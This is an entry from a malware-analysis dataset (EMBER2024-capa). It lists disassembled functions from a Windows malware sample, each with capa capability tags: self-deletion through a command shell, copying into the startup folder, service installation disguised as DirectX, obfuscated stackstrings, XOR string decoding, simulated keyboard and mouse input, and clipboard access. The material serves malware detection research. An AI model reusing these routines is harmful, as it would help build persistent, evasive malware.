joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008560
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
push edi
lea eax, [ebp - 0x25c]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x100086ce
lea ecx, [ebp - 0x25c]
push 0x104
lea edx, [ebp - 0x25c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x100086ce
lea eax, [ebp - 0x360]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x100086ce
lea ecx, [ebp - 0x158]
push str.__c_del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x25c]
lea eax, [ebp - 0x158]
push edx
push eax
call esi
lea ecx, [ebp - 0x158]
push str.___nul
push ecx
call esi
lea edx, [ebp - 0x158]
lea eax, [ebp - 0x360]
push edx
push eax
call esi
nop
nop
nop
nop
nop
nop
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x50]
mov dword [ebp - 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [ebp - 0x24], bx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
push pe_nt_image_headers32
mov dword [ebp - 4], ecx
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x54]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [ebp - 0x360]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x100086bc
mov edx, dword [ebp - 0x10]
push 0x40
push edx
call esi
mov eax, dword [ebp - 0xc]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push 0x20
call ebx
push eax
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100086e0
Capabilities:
Contain obfuscated stackstrings
Delete file
Delete service
Get common file path
Get startup folder
Move file
Set file attributes
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x674
mov eax, dword [0x1002d184]
test eax, eax
jne 0x100087f1
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x46c]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x46c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea ecx, [ebp - 0x368]
push 7
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push str.18590ec2ef3e04f04677cd662a370ef3
lea edx, [ebp - 0x5c]
push str._s.exe
push edx
call esi
lea eax, [ebp - 0x5c]
lea ecx, [ebp - 0x368]
push eax
push ecx
lea edx, [ebp - 0x674]
push 0x1002c074
push edx
call esi
add esp, 0x1c
lea eax, [ebp - 0x570]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x39
lea ecx, [ebp - 0x570]
push eax
push ecx
lea edx, [ebp - 0x264]
push str._s_x.sg
push edx
call esi
add esp, 0x10
lea eax, [ebp - 0x264]
lea ecx, [ebp - 0x674]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea edx, [ebp - 0x264]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x368]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.DirectX_jrq
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
pop edi
pop esi
lea ecx, [ebp - 0x160]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov al, 0x6f
lea edx, [ebp - 0xc]
mov byte [ebp - 0xb], al
mov byte [ebp - 7], al
lea eax, [ebp - 0x160]
push edx
push eax
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x160]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.BITS
push str.alJubzdYV42m
push str.18590ec2ef3e04f04677cd662a370ef3
call fcn.100153a0
add esp, 0xc
call fcn.10008560
push 0
call sub.MSVCRT.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov cl, byte [0x10033194]
mov al, 1
test al, cl
jne 0x100088a4
or cl, al
mov byte [0x10033194], cl
jmp 0x100088b0
push fcn.10007840
call fcn.1002448a
pop ecx
ret
Function at 0x10008ef0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x118
push ebp
push edi
lea eax, [esp + 0x1c]
xor edi, edi
push 0x104
mov dword [esp + 0x18], ecx
push eax
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 8]
lea edx, [esp + 0x1c]
mov al, 0x6f
push ecx
push edx
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x72
mov byte [esp + 0x14], 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x17], 0x2e
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea eax, [esp + 0x30]
push accept
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10008fd1
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x1c]
mov esi, eax
push 0
push ecx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x10008fba
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x10008fac
mov ecx, dword [esp + 0x18]
push edi
push esi
call fcn.10008e90
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
add esp, 0x118
ret
Function at 0x100096a9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x29c], 0x52
mov al, 0x65
mov byte [ebp - 0x29b], al
mov byte [ebp - 0x29a], 0x67
mov byte [ebp - 0x299], 0x43
mov byte [ebp - 0x298], 0x6c
mov byte [ebp - 0x297], 0x6f
mov byte [ebp - 0x296], 0x73
mov byte [ebp - 0x295], al
mov byte [ebp - 0x294], 0x4b
mov byte [ebp - 0x293], al
mov byte [ebp - 0x292], 0x79
mov byte [ebp - 0x291], 0
mov byte [ebp - 0x28c], 0x41
mov byte [ebp - 0x28b], 0x44
mov byte [ebp - 0x28a], 0x56
mov byte [ebp - 0x289], 0x41
mov byte [ebp - 0x288], 0x50
mov byte [ebp - 0x287], 0x49
mov byte [ebp - 0x286], 0x33
mov byte [ebp - 0x285], 0x32
mov byte [ebp - 0x284], 0x2e
mov byte [ebp - 0x283], 0x64
mov byte [ebp - 0x282], 0x6c
mov byte [ebp - 0x281], 0x6c
mov byte [ebp - 0x280], 0
lea eax, [ebp - 0x29c]
push eax
lea ecx, [ebp - 0x28c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov edx, dword [ebp + 8]
push edx
call esi
mov eax, dword [ebp - 0x274]
push eax
call esi
ret
Function at 0x100099d3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x6c], 0x52
mov al, 0x65
mov byte [ebp - 0x6b], al
mov byte [ebp - 0x6a], 0x67
mov byte [ebp - 0x69], 0x43
mov byte [ebp - 0x68], 0x6c
mov byte [ebp - 0x67], 0x6f
mov byte [ebp - 0x66], 0x73
mov byte [ebp - 0x65], al
mov byte [ebp - 0x64], 0x4b
mov byte [ebp - 0x63], al
mov byte [ebp - 0x62], 0x79
mov byte [ebp - 0x61], 0
mov byte [ebp - 0x5c], 0x41
mov byte [ebp - 0x5b], 0x44
mov byte [ebp - 0x5a], 0x56
mov byte [ebp - 0x59], 0x41
mov byte [ebp - 0x58], 0x50
mov byte [ebp - 0x57], 0x49
mov byte [ebp - 0x56], 0x33
mov byte [ebp - 0x55], 0x32
mov byte [ebp - 0x54], 0x2e
mov byte [ebp - 0x53], 0x64
mov byte [ebp - 0x52], 0x6c
mov byte [ebp - 0x51], 0x6c
mov byte [ebp - 0x50], 0
lea ecx, [ebp - 0x6c]
push ecx
lea edx, [ebp - 0x5c]
push edx
call edi
push eax
call esi
mov esi, eax
mov eax, dword [ebp + 8]
push eax
call esi
mov ecx, dword [ebp - 0x24]
push ecx
call esi
ret
Function at 0x1000a360
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x1000a511
call fcn.10014fc0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x1000a511
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x1000a3dd
cmp eax, 0x208
ja 0x1000a3dd
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x1000a48d
je 0x1000a475
cmp eax, 0x105
ja 0x1000a449
je 0x1000a42b
sub eax, 0x100
je 0x1000a40d
dec eax
je 0x1000a42b
sub eax, 3
jne case.0x1000a497.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000a497.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000a497.521
sub eax, 0x201
je 0x1000a466
dec eax
jne case.0x1000a497.521
push 0
push 0
push 0
push 0
push 4
jmp 0x1000a4fa
push 0
push 0
push 0
push 0
push 2
jmp 0x1000a4fa
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x1000a4fa
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x1000a497.521
jmp dword [eax*4 + 0x1000a518]
push 0
push 0
push 0
push 0
push 8
jmp 0x1000a4fa
push 0
push 0
push 0
push 0
push 0x10
jmp 0x1000a4fa
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x1000a4fa
push 0
push 0
push 0
push 0
push 0x20
jmp 0x1000a4fa
push 0
push 0
push 0
push 0
push 0x40
jmp 0x1000a4fa
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x1000a3a9
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x1000a540
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000a5a8
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x1000a5a0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x1000a5b0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000a642
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x1000a5e1
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.10009070
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x1000b330
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.1000b1d0
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x1000b378
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x6d
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x13
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x1000b352
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret

Function at 0x1000b380
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x310
mov ax, word [0x1002d1c0]
mov cl, byte [0x1002d1c2]
push ebx
push esi
push edi
mov byte [esp + 0x11e], cl
mov word [esp + 0x11c], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11f]
rep stosd dword es:[edi], eax
mov dx, word [0x1002d1bc]
mov ecx, 0x3f
stosb byte es:[edi], al
mov al, byte [0x1002d1be]
lea edi, [esp + 0x1f]
mov byte [esp + 0x1e], al
xor eax, eax
mov word [esp + 0x1c], dx
lea edx, [esp + 0x11c]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
or ecx, 0xffffffff
lea edi, [esp + 0x1c]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 6
mov esi, str.HARDWAREDESCRIPTIONSys
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x39
lea edi, [esp + 0x35]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
mov esi, str.temCentralProcessor0
lea edi, [esp + 0x21c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x3a
lea edi, [esp + 0x233]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [esp + 0x21c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov eax, 4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x1c]
push eax
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x14]
push ecx
lea edx, [esp + 0x128]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
add esp, 0x310
ret
Function at 0x1000b520
Capabilities:
Get hostname

Disassembly:
sub esp, 0x400
mov eax, dword [str.SYSTEMSetup]
mov ecx, dword [0x1002c430]
mov edx, dword [0x1002c434]
mov dword [esp], eax
mov al, byte [0x1002c438]
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
mov byte [esp + 0x18], al
mov ecx, 0xfc
xor eax, eax
lea edi, [esp + 0x19]
mov dword [esp + 0x14], edx
mov ebx, dword [esp + 0x414]
mov esi, dword [esp + 0x410]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, ebx
push 0
stosb byte es:[edi], al
mov edx, ecx
xor eax, eax
mov edi, esi
push ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push esi
rep stosb byte es:[edi], al
push 1
lea eax, [esp + 0x20]
push str.Host
push eax
push reloc.WS2_32.dll_bind
call fcn.100091e0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x20
push esi
call edi
test eax, eax
jne 0x1000b5b5
push ebx
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebx
add esp, 0x400
ret
Function at 0x1000c500
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10024fd6
push eax
mov eax, 0x9e7c
mov dword fs:[0], esp
call fcn.100243d0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
push eax
push str.tbS00LW1utC0s7nQtLm1pg
call fcn.1000b330
add esp, 4
push eax
lea eax, [ebp - 0x74]
push str._s__d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push str.tbS00LW1utC0s7nQtLm1pg
call fcn.1000b330
add esp, 0x14
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x1000c579
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000c579
push 0
call sub.MSVCRT.dll_exit
push esi
push edi
lea ecx, [ebp - 0x130]
call fcn.100013b0
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 4], 0
mov byte [ebp - 0xd], 0
mov al, byte [ebp - 0xd]
test al, al
je 0x1000c5da
cmp al, 3
je 0x1000c5da
xor ebx, ebx
lea ecx, [ebp - 0x74]
push ecx
push 0
push 0x1f0003
call edi
mov esi, eax
test esi, esi
jne 0x1000c5c2
inc ebx
cmp ebx, 0x3e8
jl 0x1000c5a4
jmp 0x1000c5d4
lea ecx, [ebp - 0x130]
call fcn.10001a70
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.tbS00LW1utC0s7nQtLm1pg
call fcn.1000b330
push str.vrWm
mov dword [0x1003047c], eax
call fcn.1000b330
push eax
call sub.MSVCRT.dll_atoi
add esp, 0xc
mov dword [0x10030474], eax
call ebx
mov edx, dword [0x10030474]
mov esi, eax
mov eax, dword [0x1003047c]
push edx
push eax
lea ecx, [ebp - 0x130]
call fcn.10001670
test al, al
jne 0x1000c62a
mov byte [ebp - 0xd], 2
jmp 0x1000c597
call ebx
sub eax, esi
lea ecx, [ebp - 0x130]
push eax
push ecx
push 0
call fcn.1000c240
mov edx, dword [0x10030474]
mov eax, dword [0x1003047c]
add esp, 0xc
lea ecx, [ebp - 0x74]
push edx
push eax
lea edx, [ebp - 0x130]
push ecx
push edx
lea ecx, [ebp - 0x9e88]
call fcn.100080e0
lea eax, [ebp - 0x9e88]
lea ecx, [ebp - 0x130]
push eax
mov byte [ebp - 4], 1
call fcn.10001d40
call ebx
lea ecx, [ebp - 0x74]
push ecx
push 0
push 0x1f0003
call edi
mov edx, dword [ebp - 0x84]
push 0x64
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test esi, esi
jne 0x1000c6b4
test eax, eax
jne 0x1000c67b
lea ecx, [ebp - 0x9e88]
mov byte [ebp - 4], al
call fcn.10008160
jmp 0x1000c597
lea ecx, [ebp - 0x130]
call fcn.10001a70
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x9e88]
mov byte [ebp - 4], 0
call fcn.10008160
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x130]
mov dword [ebp - 4], 0xffffffff
call fcn.100015b0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000c8f0
Capabilities:
Check mutex on windows
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [ebp - 0x28]
xor esi, esi
push 0x7f04
push esi
rep stosd dword es:[edi], eax
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f8b
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.USER32.dll_RegisterClassA]
call dword [sym.imp.USER32.dll_GetInputState]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea ecx, [ebp - 0x54]
push esi
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
push 1
push esi
push esi
push str.1.jpg
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea edx, [ebp - 0x158]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x158]
push 0x104
push edx
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x158]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x1000c9d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000c9d2
push esi
call sub.MSVCRT.dll_exit
nop
nop
nop
nop
nop
nop
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call edi
nop
nop
nop
nop
nop
nop
push esi
call edi
cmp dword [0x1002d184], esi
jne 0x1000ca4b
cmp dword [0x1002d17c], 1
jne 0x1000ca3b
call fcn.1000cde0
test eax, eax
je 0x1000ca24
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], str.DirectX_jrq
push ecx
mov dword [ebp - 0x34], 0x1000c730
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x1000ca3b
push str.Microsoft_R__DirectX_mid_for_Windows_R_.
push str.DirectX_Remover_yta_for_Windows_R_.
push str.DirectX_jrq
call fcn.1000ca70
add esp, 0xc
cmp dword [0x1002d180], 1
jne 0x1000ca52
call fcn.1000c500
jmp 0x1000ca44
call fcn.1000c500
jmp 0x1000ca4b
nop
nop
nop
nop
nop
nop
push esi
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret